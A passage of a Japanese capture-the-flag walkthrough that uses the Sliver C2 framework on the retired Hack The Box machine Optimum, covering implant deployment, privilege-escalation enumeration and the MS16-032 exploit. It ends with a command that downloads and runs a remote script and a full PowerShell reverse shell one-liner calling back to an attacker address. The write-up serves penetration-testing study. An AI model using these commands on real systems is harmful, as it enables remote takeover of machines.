execute-assembly <実行ファイル>

これにより、ファイルを転送せず実行することも可能です。

この他の機能

SliverC2には、紹介した以外にもたくさんの機能があります。
以下にいくつかご紹介しておきます。

• ピボット機能
• COFF/BOFのインメモリローダ
• ポートフォワード　など

Hack The Boxで使ってみる

ここからは、Hack The BoxのリタイアマシンであるOptimumを対象として、実際にSliver C2を使用してみます。
SliverC2はポストエクスプロイトツールなので、マシンの初期シェルを取得したところから始めます。

Sliver Serverの起動

まず、KaliにてSliver Serverを起動します。

インプラントの作成

対象にインプラントを作成する必要があるので、Kaliにて以下のようにインプラントの実行ファイルを生成します。

対象に実行ファイルをダウンロードします。
まず、Kaliで簡易Webサーバを立てます。

次に、wgetでダウンロードします。

これでインプラントの実行ファイルのダウンロードが完了しました。

ダウンロードした実行ファイルを使用してインプラントを構築します。
まず、Kaliのサーバ側にて、リスナーを生成します。

対象にて、ファイルを実行します。

すると、下図のようにセッションが確立されたことが分かります。これで、インプラントが作成できました。

クライアントの作成

このままサーバのコンソールでも操作できますが、複数人で使用することを想定しクライアントを作成して作業していきます。

サーバ側で構成ファイルを作成し、マルチプレイヤーモードに変更します。
ここで、今回はローカルにサーバとクライアントを立てるので、lhostにlocalhostのipを指定しています。

クライアントに構成ファイルをインポートします。

クライアントを起動します。

これで、クライアントから操作ができるようになりました。

環境の列挙

ここからは、先ほど作成したインプラントのセッションを使用し、対象の列挙を行っていきます。
まず、以下のようにセッションに入ります。

SliverC2は、デフォルトでも多くのコマンドを提供しています。helpコマンドを使うと、使用できるコマンドが分かります。

対象についての情報をinfoコマンドで取得します。

Version: Server 2012 R2 build 9600 x86_64 から、対象がWindows Server 2012を使用していることが分かりました。また、現在のユーザはkostasというユーザのようです。

getprivsコマンドで現在の権限を取得します。

悪用できそうな権限はなさそうです。

外部ツールでの列挙

armoryコマンドで外部ツールを管理できるので、使用してみます。
ここでは、バンドルとして列挙ツールがまとまっている.net-reconをインストールします。

ここでは、sharpupを実行します。
sharpupは、多数の権限昇格チェックを行ってくれるツールです。引数をauditのみにすることで、すべての項目をチェックしてくれます。

現在のユーザkostasのパスワード（kdeEjDowkS*）が分かりました。

次に、.NETアセンブリのメモリ内実行機能を用いてwinPEASを実行します。
winPEASは、Windows環境の権限昇格に関連するファイルやプロセスなどを列挙してくれるツールです。

まず、KaliにwinPEASを用意します。

execute-assemblyコマンドを使用して実行します。

特に悪用できそうな情報はありませんでした。

既知の脆弱性

Windowsの既知の脆弱性を探すツールとしてWindows-Exploit-Suggesterというツールがあります。このツールを使って脆弱性の列挙をします。

対象でsysteminfoコマンドを実行し、その結果をKaliに保存します。

以下のコマンドでWindows-Exploit-Suggesterを実行します。

MS16-032という権限昇格の脆弱性が見つかりました。

権限昇格

MS16-032で権限昇格を行います。
GitHubでPoCを見つけたのでこちらを使用します。
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1

PoCの中身は、指定したコマンドを実行できる関数なので、末尾にコマンドを挿入します。
ここでは、以下のコマンドを使用します。

Invoke-MS16-032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.2/revshell.ps1')"

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.2',123);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()